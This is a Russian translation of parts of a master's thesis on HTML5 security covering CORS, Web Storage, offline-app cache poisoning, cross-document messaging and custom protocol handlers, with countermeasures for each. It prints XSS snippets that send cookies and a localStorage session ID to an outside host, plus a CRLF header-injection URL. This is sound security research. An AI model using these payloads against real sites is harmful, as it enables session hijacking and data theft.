
Valid Domain name

Web Server running

Valid Path

Domain does not exist (≈ 39 ms)

No

No

No

Domain exists but HTTP 404 message returned (≈ 863 ms)

Yes

Yes

No

Access denied based on Access-Control-Allow-Origin header (≈ 128 ms)

Yes

Yes

Yes

Таблица 1: результат сканирования на основе времени отклика

Возможно определить и другую информацию, вроде прочих 40X заголовков и того, что домен существует, но на нем не запущен веб-сервер. Однако, в этом случае времена отклика будут отличаться незначительно, то есть, чем больше разных характеристик мы пытаемся определить, тем менее точны будут результаты.

2.2.2.4 Сценарий 4 – удаленный шелл

Еще одна проблема, которую может создать CORS, – возможность создания удаленного веб-шелла. Если в приложении найдена уязвимость типа "Межсайтовый скриптинг" (XSS), атакующий может делать в приложении то же, что обычный пользователь. Если атакующий может внедрить JavaScript-код, он может запустить обратный шелл с помощью POC-инструментов вроде "Shell of the Future" [37]. Одна из главных функций этого обратного веб-шелла – похищение сессии пользователя через его ПА. XMLHttpRequest используется для запросов и получения содержимого сайтов. Другими словами, атакующий имеет соединение с ПА жертвы и использует ее ПА в качестве "прокси". Большое преимущество по сравнению с обычной кражей сессионного куки состоит в том, что эта атака работает для приложений, недоступных атакующему напрямую, например, внутренних приложений (подобные атаки уже были возможны средствами технологий HTML4; XSS-Shell [38] тому пример. Но CORS делает эти атаки проще и мощнее).

2.2.3 Контрмеры

Справиться со всеми описанными атаками через безопасную реализацию только серверной стороны невозможно. Первые два пункта следующего списка помогают только против угрозы обхода контроля доступа, а третий позволяет обнаруживать DDoS.

Ограничить домены, имеющие право делать междоменные запросы, путем перечисления их явно в заголовке Access-Control-Allow-Origin, значение которого не должно равняться *.

Не проводить контроль доступа на основе заголовка Origin. Этот заголовок может быть подменен атакующим путем посылки поддельного заголовка (смотри раздел 5.1.6 для подробностей).

Для смягчения DDoS-атак Файрвол Веб-Приложений (WAF) должен блокировать CORS-запросы, если они приходят с высокой частотой. Их можно распознать по заголовку Origin, посылаемому в CORS-запросе.

Угрозы удаленной атаки на веб-сервер, сбора информации, установления удаленного шелла, раскрытия конфиденциальной информации и создания веб-ботнета не могут быть полностью преодолены путем безопасной реализации. Таким образом можно предотвратить только обход контроля доступа. Остальные угрозы нужно принять как данность или смягчать путем использования других сервисов безопасности.

Особое внимание нужно обратить на возможность атаки "внедрение заголовка". Например,

http://www.csnc.ch/secred.html%0A%0DAccess-Control-Allow-Origin:+*%0a%0d%0a%0d

Строка %0A%0D вставит дополнительный перенос строки в ответ и заставит браузер думать, что заголовок Access-Control-Allow-Origin был установлен сервером. Если инъекция заголовка возможна, атакующий способен переопределить или установить заголовок Access-Control-Allow-Origin.

2.3 Web Storage

До HTML5 веб-приложения могли хранить данные на стороне клиента лишь через механизм куки. Этот способ имеет два больших недостатка. Первый заключается в том, что размер куки сильно ограничен (4K в одном куки / 20 куки на домен [39]), а второй – в том, что куки передаются вместе с каждым запросом. Для того, чтобы обойти это ограничение и сделать возможными оффлайн-приложения, HTML5 вводит концепцию локального хранилища, названную Web Storage (Веб-Хранилище). Web Storage предоставляет сайту возможность сохранять данные на компьютере пользователя и впоследствии обращаться к ним через JavaScript. Размер локального хранилища зависит от реализации браузера, но рекомендованный размер – 5 мегабайт на домен. В первой спецификации HTML5 определены следующие типы веб-хранилища¹:

Локальное Хранилище (Local Storage): в данном типе хранилища можно хранить любые текстовые значения. Его элементы составлены из пар имя-значение, и к ним можно обращаться по имени. Данные остаются в этом хранилище до тех пор, пока не будут явно удалены пользователем, либо веб-приложением. Закрытие ПА или завершение веб-сессии не удаляет эти данные. Доступ к данным защищается политикой ограничения домена: сайт может получать доступ только к объектам его собственного Локального Хранилища.

Сессионное хранилище (Session Storage): Это хранилище похоже на Локальное за исключением того, что данные удаляются при закрытии ПА или вкладки ПА (зависит от ПА). Таким образом, получение доступа к одному Сессионному Хранилищу в пределах одного домена невозможно из разных вкладок или сессий (что возможно для Локального Хранилища).

Хранение данных в куки отличается еще и тем, что значения из Локального Хранилища не посылаются на сервер вместе с каждым запросом. Куки имеют срок хранения, а атрибуты Локального Хранилища – нет. Атрибуты Локального Хранилища защищены политикой ограничения домена: значения, сохраненные в HTTP-соединении, недоступны в HTTPS-соединении. Напротив, куки, установленные в HTTP-соединении, посылаются в HTTPS-соединении, если совпадает имя домена.

В разделе 5.2.3 показано POC-приложение, использующее Локальное Хранилище. Это приложение позволяет загружать данные из Локального Хранилища и сохранять их туда. Разграничение Локальных Хранилищ для разных доменов проиллюстрировано в том же разделе. В разделе 5.3.2 показаны несколько примеров JavaScript-кода, получающего доступ к Локальному Хранилищу. (Замечание: Глобальное Хранилище, которое было определено ранее в рабочих проектах HTML5, удалено из текущей спецификации [40]; по этой причине влияние Глобального Хранилища на безопасность рассматриваться здесь не будет).

2.3.1 Уязвимости

Главная проблема безопасности, связанная с Локальным Хранилищем, в том, что пользователь не знает, какие данные в нем хранятся. Пользователь не способен контролировать хранилище и, соответственно, доступ к хранящимся в нем данным. Весь доступ производится через JavaScript, поэтому для получения прозрачного для пользователя доступа ко всем элементам хранилища достаточно запустить некоторый JavaScript-код в нужном домене.

Лишь исходный домен имеет права на доступ к данным из Web Storage и на манипуляцию ими. Однако, если атакующий сможет внедрить JavaScript-код, требования безопасности "Защита данных", "Целостность" и "Конфиденциальность" подвергнутся опасности из-за возможности обхода контроля доступа. Вредоносный JavaScript-код может манипулировать данными или посылать их на другие домены.

2.3.2 Сценарии атак и угроз

Локальное Хранилище рождает новые угрозы, которые описаны в следующем списке. Список, кроме того, показывает, какие требования безопасности при этом нарушаются. Сценарии трех соответствующих атак приведены в разделах 2.3.2.1-2.3.2.3, чтобы продемонстрировать, как Локальное Хранилище может эксплуатироваться атакующим.

Похищение сессии (Сценарий 1): Если идентификатор сессии хранится в Локальном Хранилище, а в веб-приложении существует уязвимость кодировки ввода/вывода, идентификатор может быть украден (это сделатьпроще, чем украсть значение куки). Это нарушает требование безопасности "Безопасное управление сессиями".

Раскрытие Конфиденциальных Данных (Сценарий 2): Если веб-приложение хранит конфиденциальные данные в ПА клиента, они могут быть украдены и злонамерено использованы атакующими. Это нарушает требование безопасности "Конфиденциальность".

Отслеживание пользователя (Сценарий 3): Локальное Хранилище может создать проблемы приватности. Локальное Хранилище можно использовать как дополнительную возможность для опознавания пользователя. Это нарушает требование безопасности "Защита личных сведений".

Постоянные вектора атак: Вектора атак могут постоянно присутствовать на стороне клиента. Область обитания постоянно присутствующих уязвимостей расширяется в сторону ПА и больше не ограничена серверной стороной. Это нарушает требование безопасности «Защита ПА».

2.3.2.1 Сценарий 1 – похищение сессии

HTTP является протоколом без сохранения состояния (stateless), поэтому управление состояниями должно осуществляться на более высоких уровнях. Для этого в веб-приложениях обыкновенно используются куки сессии, которые хранят длинный непредсказуемый маркер. Маркер посылается на веб-сервер, чтобы тот мог опознать пользователя и соответствующую ему сессию.

Тем не менее, проблема такого решения в том, что сессионную куки можно украсть в ходе XSS-атаки. Если атакующему удастся внедрить в веб-приложение следующий код, то он сможет воровать сессионный куки.

<script>

document.write("<img src='http://www.csnc.ch?cookies="+document.cookie+"'>");

</script>

Это справедливо и для HTML5, но идентификатор сессии теперь может также храниться в Web Storage. В этом случае атакующему нужно внедрить в веб-приложение следующий код для кражи идентификатора сессии и перехвата сессии пользователя:

<script>

document.write("<img

src='http://www.csnc.ch?sessionID="+localStorage.getItem('SessionID')+"'>");

</script>

Как видно, XSS по прежнему может быть использован для кражи идентификаторов сессий и перехвата сессий пользователей. HTML5 Web Storage ничего не изменил в данном вопросе, лишь слегка поменялась используемая JavaScript-технология. Правда, атакующему приходится быть более точным, ему необходимо знать имя переменной.

Кроме того, для куки можно использовать флаг HTTPonly, чтобы предотвратить доступ к куки через JavaScript, что делает кражу куки (идентификатора сессии) через XSS невозможной. Отсутствие этого HTTPonly флага – другой недостаток хранения идентификаторов в Локальном Хранилище. Дополнительный слой защиты, который обеспечивается флагом HTTPonly, не может быть использован для идентификаторов в Локальном Хранилище.

2.3.2.2 Сценарий 2 – раскрытие конфиденциальных данных

Как показано в сценарии 1, для доступа к объектам Локального Хранилища достаточно эксплуатировать XSS-уязвимость. Это особенно опасно в случае, когда на стороне клиента хранятся конфиденциальные данные. Атакующий может считать все содержимое Локального Хранилища домена, эксплуатируя XSS-уязвимость.

Если сервер не имеет XSS-уязвимостей, атакующий может заставить пользователя обратиться к веб-приложению через вредоносное сетевое устройство. Это сетевое устройство манипулирует ответами сервера и внедряет в них JavaScript-код, считывающий информацию из Локального Хранилища для соответствующего домена. Атакующему больше не нужно искать уязвимости в веб-приложении. Он может просто атаковать ПА напрямую. На рисунке 5 показана диаграмма последовательности, которая иллюстрирует эту атаку.

Рисунок 5 Диаграмма последовательности: Атака Локального Хранилища

ПА делает запрос с произвольным путем к веб-приложению, подлежащему атаке. Ответ целевого сайта изменяется вредоносным веб-прокси: к нему добавляется JavaScript-код, считывающий Локальное Хранилище.

JavaScript-код считывает содержимое Локального Хранилища соответствующего домена

Полученное содержимое отправляется на вредоносный веб-прокси.

Другой проблематичный момент возникает, когда разные веб-авторы используют один и тот же домен и приложения различаются лишь путем в пределах домена. Локальное Хранилище тогда делится между этими приложениями. Не существует способа ограничить доступ к Локальному Хранилищу на основе пути. Итак, усли XSS-уязвимость найдена в приложении www.csnc.ch/app1/, становится возможным читать данные, сохраненные приложением www.csnc.ch/app2/.

2.3.2.3 Сценарий 3 – отслеживание пользователей

Отслеживание пользователя, основаное на куки, - обычный способ идентификации пользователей, посещающих сайт. Вместе с Локальным Хранилищем в HTML5 появляется альтернативная возможность хранить информацию о посетителях сайта. Сайт может хранить информацию для отслеживания пользователей в ПА клиентов и коррелировать пользовательские сессии. Коварность здесь кроется в том, что Локальное Хранилище не удаляется во всех ПА при очистке истории (см. раздел 5.4.1 для обзора поведения разных браузеров). Пользователи, пытающиеся очистить кэш своих ПА, могут не знать про Локальное Хранилище. Вечные куки, уже упоминавшиеся во вступлении, используют Локальное Хранилище как одну из возможностей для отслеживания пользователя.

2.3.3 Контрмеры

Использование Локального Хранилища приносит определенную выгоду, но открывает двери для атак, упоминавшихся выше. Есть несколько моментов, которые могут пойти не так, поэтому разработчикам нужно аккуратно реализовывать доступ к атрибутам локального хранилища. Для безопасного использования Локального Хранилища в веб-приложениях необходимо рассмотреть следующие пункты.

Для поддержки механизма сессий следует использовать куки, а не Локальное Хранилище. Обе технологии имеют одинаковые проблемы, но куки могут быть лучше защищены при использовании флага HTTPonly. Кроме того, Локальное Хранилище не очищается после закрытия ПА, то есть, идентификатор сессии может быть украден, если пользователь просто выходит из ПА, не осуществляя явный выход из сессии (logout) или веб-приложение не завершает сессию должным образом (например, общедоступный компьютер).

Не храните в Локальном Хранилище конфиденциальные данные. Конфиденциальные данные следует хранить на веб-сервере и защищать соответствующим образом.

Различные веб-приложения, размещенные на одном домене и отличающиеся лишь путем, не должны использовать Локальное Хранилище, если им необходимо отделить данные друг от друга.

Тем не менее, угрозы отслеживания пользователя и постоянных векторов атак все еще остаются в силе и не могут быть нивелированы поставщиком веб-приложений через безопасную реализацию.

¹ Изначально стандарт Web SQL database был частью спецификации HTML5. Но в данном документе он не рассматривается, поскольку на момент написания будущее этого стандарта было туманным. На сайте W3C висело следующее заявление: «Этот документ был в числе разрабатываемых рекомендаций W3C, но работа по спецификации была остановлена. Спецификация зашла в тупик: все заинтересованные разработчики использовали одинаковый SQL-backend (Sqlite), но нам нужно несколько независимых реализаций для продолжения спецификации.» [69]. Таким образом, связанные с SQL-инъекциями угрозы, которые могли затронуть Web SQL базы данных, не рассматриваются в настоящем отчете.

Список источников:

[35] Attack and Defense Labs. (2010, Dec.) HTML5 Security - Web SQL / Cross Origin Requests. [Online]. http://www.andlabs.org/html5.html

[36] L. Kuppan. (2010, Dec.) Attacking with HTML5. Webinar, Black Hat Webcast Series.

[37] L. Kuppan. (2010, Jul.) Shell of the Future – Reverse Web Shell Handler for XSS Exploitation. [Online]. http://blog.andlabs.org/2010/07/shell-of-future-reverse-web-shell.html

[38] Portcullis Labs. (2008, Oct.) XSS Shell - a XSS backdoor and zombie manager. [Online]. https://labs.portcullis.co.uk/application/xssshell/

[39] Network Working Group. (1997, Feb.) HTTP State Management Mechanism. [Online]. http://www.ietf.org/rfc/rfc2109.txt

[40] M. Smith (W3C). (2008, Jun.) HTML 5 Publication Notes: High-level list of selected changes. [Online]. http://www.w3.org/TR/html5-pubnotes/

[69] The World Wide Web Consortium (W3C). (2010, Dec.) Web SQL Database. [Online]. http://www.w3.org/TR/webdatabase/

Безопасность HTML5 – часть третья

_{Данный документ содержит выдержки из магистерской диссертации Майкла Шмидта. Здесь отражены рассмотренные в диссертации аспекты HTML5, касающиеся безопасности.}

  _{Автор: Michael Schmidt (Compas Security)}

2.4 Оффлайновые веб-приложения

До HTML5 cоздание веб-приложений, которые можно использовать оффлайн, было трудной задачей. Некоторые производители проделали сложную работу, чтобы заставить свои приложения работать оффлайн. Это решалось в основном через дополнения ПА, которые пользователь должен был установить. HTML5 вводит концепцию оффлайновых веб-приложений. Веб-приложение может посылать ПА информацию о том, какие файлы нужны для работы оффлайн. Загрузив нужную информацию однажды, приложение может использоваться оффлайн. ПА распознает оффлайн-режим и загружает данные из кэша.

Некоторые подробности кибер атаки на «Прикарпатьеоблэнерго»

Чтобы указать ПА, что ему следует сохранить некоторый файл для использования оффлайн, в тэг <html> нужно включить новый HTML-атрибут manifest:

<!DOCTYPE HTML>

<html manifest="/cache.manifest">

<body>

Атрибут manifest ссылается на файл манифеста, который определяет такие ресурсы, как HTML и CSS файлы, которые нужно сохранить для оффлайн-использования. Файл манифеста содержит несколько разделов, где указано какие файлы следует кэшировать и сохранить, какие никогда не нужно кэшировать, а какие должны быть загружены в случае ошибки. Файл манифеста может иметь имя и произвольное местоположение на сервере. Нужно лишь, чтобы он имел имя, заканчивающееся на «.manifest», и возвращался сервером с типом контента text/cache-manifest в заголовке. В противном случае ПА не будет использовать содержимое файла для формирования оффлайн-кэша веб-приложения. Более подробную информацию и пример файла манифеста можно найти в разделе 5.3.3.

2.4.1 Уязвимости

С появлением оффлайновых веб-приложений границы безопасности изменились. В веб-приложениях до HTML5 все решения, связанные с контролем доступа к данным и функциям, делались на стороне сервера. С появлением оффлайновых веб-приложений часть проверок прав доступа переместилась на сторону ПА. Для оффлайновых веб-приложений, таким образом, не достаточно реализации защитных мер исключительно на сервере. Цель атаки на веб-приложение больше не ограничена сервером, становится возможным атаковать и клиентскую часть приложения.

Это главным образом нарушает требование "Защита ПА". Однако, при нарушении данного требования неявной угрозе подвергаются все остальные требования безопасности. Например, если имеется возможность нарушить требование «Безопасное кэширование», атакующий сможет внедрить в кэш оффлайнового веб-приложения любое содержимое и использовать его для нарушения других требований безопасности.

2.4.2 Угрозы и сценарии атак

Внедрение в кэш вредоносных данных было проблемой безопасности еще до HTML5. Отравление кэша было возможным и ранее, через существующие в HTML4 директивы кэша для файлов JavaScript и других ресурсов. Тем не менее, атаки отравления кэша ПА были ограничены. С появлением в HTML5 оффлайновых приложений атаки отравления кэша получили больше возможностей. В HTML5 усилились следующие угрозы:

Отравление кэша: стало возможным кэшировать корневую директорию сайта. Поддерживается кэширование как HTTP, так и HTTPS страниц. Это нарушает требования безопасности «Защита ПА» и «Безопасное кэширование».

Постоянные вектора атак: кэш оффлайнового приложения хранится ПА до тех пор, пока либо сервер не пошлет обновление (что не случится в случае навязанного злоумышленником контента), либо пользователь не удалит кэш вручную. Здесь имеет место та же проблема, что и у Web Storage. ПА разных производителей ведут себя по-разному при удалении недавней истории ("recent history"). Это нарушает требование безопасности "Защита ПА".

Отслеживание пользователя: информация, хранимая оффлайновым приложением, может быть использована для отслеживания пользователей. Веб-приложения могут содержать в файлах кэша уникальные идентификаторы для отслеживания пользователей. Это нарушает требование безопасности «Конфиденциальность».

Момент и условия удаления кэша оффлайнового приложения зависят от производителя ПА. В разделе 5.4.2 показано поведение различных браузеров при удалении кэша оффлайнового приложения.

Как уже упоминалось, отравление кэша – наиболее серьезная проблема безопасности для оффлайновых веб-приложений. Поэтому в данном разделе описан возможный сценарий отравления кэша, который основан на идеях статьи из [41]. На рисунке 6 показана диаграмма последовательности, которая иллюстрирует, как атакующий может отравить кэш ПА жертвы. Жертва выходит в Интернет через небезопасную вредоносную сеть и запрашивает какую-нибудь страницу (не обязательно отравляемую). Вредоносная сеть подменяет данные, посылаемые клиенту, и отравляет кэш ПА. Позднее жертва выходит в Интернет через доверенную сеть и обращается к отравленному сайту. Затем происходит собственно атака: жертва загружает из кэша отравленный контент. Предполагаемая топология этой атаки показана в разделе 5.1.3 на высокоуровневой диаграмме.

Рисунок 6 Диаграмма последовательности: отравление кэша оффлайнового веб-приложения

Жертва обращается к any.domain.com через вредоносную точку доступа (например, открытую беспроводную сеть).

Через вредоносную точку доступа посылается HTTP GET-запрос на any.domain.com.

Any.domain.com возвращает ответ.

Точка доступа добавляет к ответу от any.domain.com скрытый Iframe с адресом источника src=http://www.filebox-solution.com.

Этот скрытый Iframe заставляет ПА послать фоновый запрос на www.filebox-solution.com (пользователь о нем не извещается).

Запрос к www.filebox-solution.com перехватывается вредоносной точкой доступа и возвращает фальшивую страницу входа, содержащую вредоносный JavaScript. HTML-страница содержит объявление манифеста кэша. Файл cache.manifest настроен на кэширование корневой директории www.filebox-solution.com (сам файл cache.manifest возвращается с управляющим кэшированием HTTP-заголовком Expires, установленным на некоторую дату в будущем).

Жертва открывает свой ПА в доверенной сети и вводит www.filebox-solution.com в адресной строке. Поскольку запрашиваемая страница уже существует в кэше оффлайн-приложения, ПА берет ее оттуда, включая вредоносный JavaScript. Запрос к www.filebox-solution.com не посылается.

После того, как пользователь введет свои аутентификационные данные в фальшивую форму входа (оффлайнового приложения), эти данные передадутся на сервер, контролируемый атакующим (выполняется JavaScript-код).

JavaScript производит запрос входа на www.filebox-solution.com (с данного пункта шаги необязательны; они выполняются, чтобы скрыть атаку от пользователя).

Запрос входа посылается на www.filebox-solution.com.

Происходит успешный вход на сайт (пользователь не замечает атаку).

Доказательство возможности этой атаки приведено в разделе 5.2.5. Этот раздел показывает подробности данной атаки отравления кэша, включая соответствующий HTML-код, дамп сетевого трафика и снимки экрана браузера.

Кто-то может заметить, что подобная атака была осуществима стандартными HTML-средствами. Это так, но атака на оффлайн-приложение имеет два преимущества:

Возможно кэширование корневой директории: если пользователь открывает отравленный сайт, ПА не пошлет в сеть ни одного запроса и загрузит отравленный контент из кэша. Если же корневая директория кэширована с помощью кэш-инструкций HTML4, запрос на сервер будет послан как только пользователь нажмет на обновление (сервер пошлет либо HTTP-код 304 "не изменялось", либо HTTP 200 "ОК" и страница будет загружена с сервера, а не из кэша).

SSL-ресурсы также могут быть кэшированы. В HTML4 были возможны атаки типа «человек посередине», но пользователь в этом случае должен был обращаться к сайту из небезопасной сети. С оффлайновыми приложениями стало возможным кэшировать корень HTTPS-сайта; пользователю не нужно открывать сайт. Пользователь может установить небезопасное соединение (проигнорировав предупреждение о сертификате) в недоверенной сети, поскольку он не посылает критичных данных. Настоящая атака происходит, если пользователь возвращается обратно в доверенную сеть, чувствуя себя в безопасности, и совершает вход в отравленное ранее приложение.

2.4.3 Контрмеры

Поставщики веб-приложений не могут избежать угроз «Постоянные вектора атак» и «Отравление кэша». Эти угрозы определены в спецификации HTML5. Чтобы решить эту проблему, нужно научить пользователей очищать кэш своих ПА всякий раз после выхода в Интернет через незащищенную сеть перед тем, как они хотят обратиться к странице, которой передаются конфиденциальные данные. Далее пользователям нужно научиться понимать значение предупреждений безопасности и признавать оффлайновые веб-приложения только от доверенных сайтов.

2.5 Web Messaging

Современные, богатые возможностями сайты все больше нуждаются в подключении так называемых гаджетов от третьих сторон. Эти гаджеты, как правило, являются JavaScript-приложениями с определенным назначением (пример – погодный информер). HTML4 предоставляет только два способа решения этой проблемы.

Первый способ – подключать гаджеты с помощью Iframe-ов, что безопасно, но неудобно для пользователя. Сайт, загруженный с домена domainA.csnc.ch, не может получить доступ к элементам Объектной Модели Документа (DOM) встроенного Iframe-a, загруженного с домена domainB.csnc.ch, и наоборот. Если пользователь уже ввел ZIP-код в приложение, ему придется повторно ввести ZIP-код в Iframe, что не является примером дружественного интерфейса.

Второй способ заключается в использовании встроенного JavaScript кода, что является мощным, но небезопасным решением. JavaScript из внешнего источника запускается в контексте домена, в который он встраивается, и, таким образом, имеет доступ ко всей DOM, включая любые введенные данные вроде ZIP-кода. Этот подход является дружественным для пользователя, поскольку нет нужды повторно вводить данные, но зато таит в себе опасность. Внешнему скрипту доступны номера кредитных карт, персональные и любые другие данные, введенные на сайте. Поставщикам веб-приложений приходится доверять внешнему источнику JavaScript-кода, который они встраивают в свое приложение. Это рискованно, поскольку они не могут контролировать встроенный код постоянно. Содержимое внешнего JavaScript-файла может быть проверено на изъяны безопасности в определенный момент, но трудно проверять файл каждый раз, когда он запрашивается ПА. Поставщик может изменить содержимое файла и случайно, либо намеренно проделать бреши в безопасности (подобно проблеме TOCTOU в программировании [42]).

HTML5 вводит новую возможность, называемую Cross Document Messaging (Передача сообщений между документами), которая позволяет документам взаимодействовать друг с другом, даже если они с различных доменов. Это делает возможным взаимодействие между сайтом и встроенным в него Iframe-ом и улучшает безопасность веб-приложений по сравнению с использованием встроенного JavaScript. Cross Document Messaging открывает новый путь решения вышеупомянутых проблем взаимодействия. Iframe-ы с различных доменов могут посылать друг другу сообщения, используя новый API:

Рисунок 7 Cross-Document Messaging

В разделе 5.2.6 представлено демонстрационное приложение, которое использует метод postMessage() так, как это показано на рисунке 7. Это приложение загружается с домена internal.csnc.ch и встраивает Iframe с external.csnc.ch. После нажатия на кнопку в приложении встроенному Iframe-у (external.csnc.ch) может посылается сообщение от встраивающего его сайта (internal.csnc.ch).

Помимо Cross-Document Messaging, HTML5 предоставляет еще одну возможность для взаимодействия Java-скриптов, запущенных в разных контекстах доменов, – Channel Messaging (Передача сообщений по каналу). Однако, с точки зрения безопасности они очень похожи, поэтому в данном разделе рассмотрен только Cross-Document Messaging.

2.5.1 Уязвимости

Web Messaging повышает безопасность интеграции в приложение элементов из внешних источников, но также рождает новые проблемы безопасности. Содержимое веб-страницы больше не ограничено содержимым с исходного домена, и сервер не может контролировать все данные, посылаемые и получаемые его страницами. С Web Messaging веб-страница может получать содержимое других доменов без участия своего сервера. Обмен данными между Iframe-ами происходит внутри ПА. То есть, можно обойти проверку данных на стороне сервера и послать вредоносный контент от одного Iframe-а другому напрямую.

Это может привести к нарушению требования безопасности «Проверка данных». Нарушение этого требования безопасности открывает для атакующего возможность нарушить несколько других требований. В зависимости от данных, которые атакующий может подсунуть в приложение, он может запустить JavaScript-код и обратиться к приложению с правами пользователя, чтобы нарушить другие требования безопасности.

2.5.2 Угрозы и сценарии атак

Описанная в разделе 2.5.1 проблема безопасности выливается в две следующих угрозы:

Раскрытие конфиденциальных данных: конфиденциальные данные могут быть посланы не тому Iframe-y. Это нарушает требование безопасности «Конфиденциальность».

Расширение поверхности атаки на ПА: Iframe-ы могут посылать сообщения любому другому Iframe-у. Если Iframe-получатель не проверяет источник или некорректно обрабатывает входные данные, против него может быть запущена атака. Это нарушает требование безопасности «Проверка данных».

Данные угрозы эксплуатируются в следующем сценарии атаки, в котором предполагается, что веб-приложение построено из нескольких Iframe-ов из разных источников. Первая версия веб-приложения содержала лишь два Iframe-а с различных доменов, которые разработчики могли контролировать и которые находились в доверенной среде. Поэтому разработчики позволили передачу сообщений (Cross-Document Messaging) между этими двумя Iframe-ами без ограничений.

Цель postMessage() установлена в *, поскольку оба Iframe-а используют введенные данные и разработаны так, чтобы обрабатывать их корректно. Конфиденциальные данные также передаются через Web Messaging.

Iframe-ы не проверяют источник при получении сообщений. В этом нет необходимости, поскольку ожидается, что он единственный.

Для облегчения разметки страницы разработчики решили использовать часть введенных данных как innerHTML. Так они могут влиять на то, как введенные данные рендерятся в получающем Iframe.

Во второй версии разработчики решили подключить гаджет из внешнего источника. Они изучили исходный код этого гаджета и обнаружили, что он не использует никаких функций cross-document messaging. По этой причине они не меняли ничего в передаче данных между Iframe-ами.

Атакующий не может обнаружить уязвимости в веб-приложении, но он может эксплуатировать XSS-уязвимость в гаджете (а может и вовсе быть поставщиком этого гаджета). Это позволяет атакующему передать веб-приложению через гаджет JavaScript-код и запустить произвольный JavaScript-код в контексте веб-приложения. Далее атакующий вставляет JavaScript-код, который прослушивает сообщения, передаваемые между Iframe-ами (вспомним, что цель сообщений установлена в *) и крадет конфиденциальную информацию, передаваемую между ними.

2.5.3 Контрмеры

Чтобы смягчить угрозы «Раскрытие конфиденциальных данных» и «Расширение поверхности атаки на ПА», недостаточно проверки данных на сервере. Получаемые данные должны проверяться и на клиенте. Чтобы безопасно использовать Cross Document Messaging, необходимо реализовать следующие моменты:

Цель (второй аргумент) в postMessage() следует определять явно, а не устанавливать ее в *, чтобы избежать получения конфиденциальных данных не тем Iframe.

Полученное сообщение следует проверять, а не использовать напрямую в качестве innerHTML или аргумента JavaScript-функции eval.

Принимающему Iframe-у также следует проверять домен отправителя (например e.origin == "http://internal.csnc.ch").

Альтернативное решение проблемы встраивания внешнего контента состоит в использовании санитайзера вроде Caja [43].

2.6 Специальные обработчики схем и типов контента

HTML5 позволяет установить специальные обработчики схем и типов контента. Веб-приложения могут регистрироваться в качестве обработчиков для определенных протоколов¹, например, факсов, электронных писем, SMS. Когда пользователь нажимает на ссылку, ассоциированную со специальным обработчиком, ПА будет открывать соответствующее, однажды зарегистрированное в качестве обработчика веб-приложение.

HTML5 позволяет регистрировать обработчики не только для протоколов, но и для конкретных MIME-типов (Multipurpose Internet Mail Extensions или многоцелевые расширения интернет-почты) вроде text-directory или application/rss+xml.

2.6.1 Уязвимости

С появлением специальных обработчиков схем и типов контента расширяется поверхность атаки на ПА. Регистрация специальных обработчиков схем и типов контента оказывает влияние лишь на стороне клиента, поэтому защита от атак на эту возможность HTML5 не может быть обеспечена поставщиком веб-приложений. Таким образом, в основном под угрозой находится требование безопасности "Защита ПА".

Тем не менее, нарушение требования безопасности "Защита ПА" в данном контексте влечет за собой нарушение требований «Конфиденциальность» и «Целостность». Если атакующий может зарегистрировать вредоносный домен в качестве специального обработчика схемы и типа контента, на этот домен могут посылаться конфиденциальные данные. Помимо кражи этих данных, вредоносный домен может манипулировать ими перед последующей обработкой. Через раскрытие личных данных пользователя также может быть нарушено требование безопасности «Защита личных сведений».

2.6.2 Угрозы и сценарии атак

Возможность регистрировать любой сайт в качестве специального обработчика протокола или типа контента позволяет вредоносным приложениям обманом заставлять пользователей зарегистрировать их в качестве обработчиков. Это создает следующие угрозы:

Раскрытие конфиденциальных данных: пользователь может ненамеренно зарегистрировать вредоносное веб-приложение как обработчик протокола электронной почты. Посылая электронные письма через это веб-приложение, пользователь дает атакующему доступ к сожержимому этих писем. Это нарушает требование безопасности «Конфиденциальность».

Отслеживание пользователей: веб-приложения могут использовать уникальный идентификатор во время регистрации протокола или типа контента. Этот идентификатор можно затем использовать для отслеживания пользователя каждый раз когда он запрашивает зарегистрированный протокол или тип контента. Это нарушает требование безопасности «Защита личных сведений».

Рассылка спама: регистрация многих обработчиков протоколов или типов контента может злоупотребляться спамерами. Они могут вставлять их собственный контент перед тем как доставить или обработать настоящее содержимое. Это нарушает требование безопасносоти «Защита ПА».

Следующий сценарий атаки показывает, как пользователи могут быть обманом заставлены зарегистрировать вредоносный сайт в качестве обработчика протокола, что приводит к утечке конфиденциальных данных. Пользователь открывает malicious.csnc.ch и получает в качестве ответа JavaScript-код, который регистрирует обработчик протокола для ссылок mailto. Если пользователь подтвердит регистрацию этого обработчика и нажмет на mailto-ссылку, ему будет задан вопрос (либо, он сразу будет перенаправлен, точное поведение зависит от настроек ПА) о том, какой обработчик следует использовать. После этого пользователь будет перенаправлен на malicious.csnc.ch. Это может привести к утечке конфиденциальных данных. Malicious.csnc.ch может ответить на запрос фальшивой формой отправки почты, выглядящей в стиле любимого почтового приложения жертвы. Диаграмма последовательности, представленная на рисунке 8, иллюстрирует данную атаку.

Рисунок 8 Диаграмма последовательности: Создание специального обработчика протокола

Возможный сценарий атаки:

Жертва открывает сайт с домена malicious.csnc.ch.

В ответе malicious.csnc.ch содержится JavaScript-код, который определяет специальный обработчик протокола mailto и обманом заставляет пользователя установить этот обработчик. Далее, в процессе регистрации, malicious.csnc.ch также сохраняет уникальный идентификатор, чтобы отслеживать пользователя.

Жертва открывает anydomain.csnc.ch.

В ответе anydomain.csnc.ch помимо прочего контента содержится ссылка типа mailto.

Пользователь нажимает на ссылку и автоматически перенаправляется на malicious.csnc.ch.

Malicious.csnc.ch распознает жертву, нажавшую на ссылку mailto, и отображает фальшивую форму отправки электронного письма (например, клон формы популярного поставщика почтовых веб-сервисов).

Жертва может не обнаружить атаку и вводит в эту форму конфиденциальные данные.

Специальные обработчики протоколов и типов контента не удаляются вместе с кэшем ПА. То, когда и как они удаляются, зависит от реализации ПА. PoC-приложение, иллюстрирующее изображенную на рисунке 8 атаку, показано в разделе 5.2.7. Детали этой атаки, включая соответствующие скриншоты браузеров и дампы сетевого трафика, можно найти в том же разделе.

Подобные атаки возможны и через регистрацию специальных обработчиков типов контента. Сайты могут попытаться зарегистрироваться в качестве обработчика для, например, типа данных video/mpeg и перед проигрыванием видео показывать рекламу. Регистрация как можно большего числа обработчиков протоколов может быть использована для рассылки спама. Тем не менее, на момент написания этого отчета только некоторые ПА поддерживали регистрацию специальных обработчиков типов контента, да и то лишь для RSS-каналов. По этой причине можно было доказать только то, что отслеживание пользователей возможно путем регистрации обработчиков RSS-каналов. Другие атаки, вроде регистрации специального обработчика для video/mpeg, тоже нельзя сбрасывать со счетов, но их возможность зависит от будущих реализаций ПА (в разделе 5.4.3 дан обзор ПА, которые поддерживают регистрацию специальных обработчиков для типов контента).

2.6.3 Контрмеры

